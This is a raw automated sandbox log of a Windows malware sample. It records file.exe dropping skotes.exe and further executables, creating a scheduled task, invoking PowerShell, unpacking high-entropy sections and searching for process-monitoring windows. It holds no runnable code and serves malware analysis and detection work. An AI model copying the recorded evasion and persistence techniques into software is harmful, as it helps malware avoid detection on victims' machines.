Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3016192 > 1048576

Source: file.exe

Static PE information: Raw size of duaanmls is bigger than: 0x100000 < 0x2aec00

Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 915c60055b.exe, 00000007.00000002.2847288516.0000000005690000.00000004.08000000.00040000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp, 0cf121b643.exe, 0000000E.00000000.3145571521.00000000009A2000.00000002.00000001.01000000.0000000F.sdmp, 0cf121b643.exe.6.dr, random[2].exe.6.dr
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp, 0cf121b643.exe, 0000000E.00000000.3145571521.00000000009A2000.00000002.00000001.01000000.0000000F.sdmp, 0cf121b643.exe.6.dr, random[2].exe.6.dr
Source:	Binary string: PE.pdb source: 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2847140036.0000000005400000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.10000.0.unpack :EW;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;duaanmls:EW;vfkaysor:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Unpacked PE file: 9.2.cf4412d54a.exe.710000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bxszsxlr:EW;ezgbzeah:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bxszsxlr:EW;ezgbzeah:EW;.taggant:EW;

Source: random[2].exe.6.dr

Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x44fdd3 should be: 0x448cb7
Source: 631c5638f7.exe.6.dr	Static PE information: real checksum: 0x44fdd3 should be: 0x448cb7
Source: 0cf121b643.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0xd0b9a
Source: f3c1a61157.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xd0b9a
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: cf4412d54a.exe.6.dr	Static PE information: real checksum: 0x4470ea should be: 0x446249
Source: e0c841723d.exe.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: file.exe	Static PE information: real checksum: 0x2e7fe6 should be: 0x2ea188
Source: 915c60055b.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2e7fe6 should be: 0x2ea188
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x4470ea should be: 0x446249
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: duaanmls
Source: file.exe	Static PE information: section name: vfkaysor
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: duaanmls
Source: skotes.exe.0.dr	Static PE information: section name: vfkaysor
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: e0c841723d.exe.6.dr	Static PE information: section name: .eh_fram
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: bekbudto
Source: random[2].exe0.6.dr	Static PE information: section name: bwpgbubu
Source: random[2].exe0.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: bxszsxlr
Source: random[1].exe0.6.dr	Static PE information: section name: ezgbzeah
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 631c5638f7.exe.6.dr	Static PE information: section name:
Source: 631c5638f7.exe.6.dr	Static PE information: section name: .idata
Source: 631c5638f7.exe.6.dr	Static PE information: section name:
Source: 631c5638f7.exe.6.dr	Static PE information: section name: bekbudto
Source: 631c5638f7.exe.6.dr	Static PE information: section name: bwpgbubu
Source: 631c5638f7.exe.6.dr	Static PE information: section name: .taggant
Source: cf4412d54a.exe.6.dr	Static PE information: section name:
Source: cf4412d54a.exe.6.dr	Static PE information: section name: .idata
Source: cf4412d54a.exe.6.dr	Static PE information: section name:
Source: cf4412d54a.exe.6.dr	Static PE information: section name: bxszsxlr
Source: cf4412d54a.exe.6.dr	Static PE information: section name: ezgbzeah
Source: cf4412d54a.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name: .CODE
Source: f3c1a61157.exe.6.dr	Static PE information: section name: .CODE
Source: random[1].exe2.6.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0002D91C push ecx; ret	0_2_0002D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00021359 push es; ret	0_2_0002135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0027D91C push ecx; ret	2_2_0027D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0027D91C push ecx; ret	3_2_0027D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0027D91C push ecx; ret	6_2_0027D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0027DFC6 push ecx; ret	6_2_0027DFD9

Source: file.exe	Static PE information: section name: entropy: 7.987860722363615
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.987860722363615
Source: random[2].exe0.6.dr	Static PE information: section name: bekbudto entropy: 7.955886456405542
Source: random[1].exe0.6.dr	Static PE information: section name: bxszsxlr entropy: 7.955545656668972
Source: 631c5638f7.exe.6.dr	Static PE information: section name: bekbudto entropy: 7.955886456405542
Source: cf4412d54a.exe.6.dr	Static PE information: section name: bxszsxlr entropy: 7.955545656668972

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
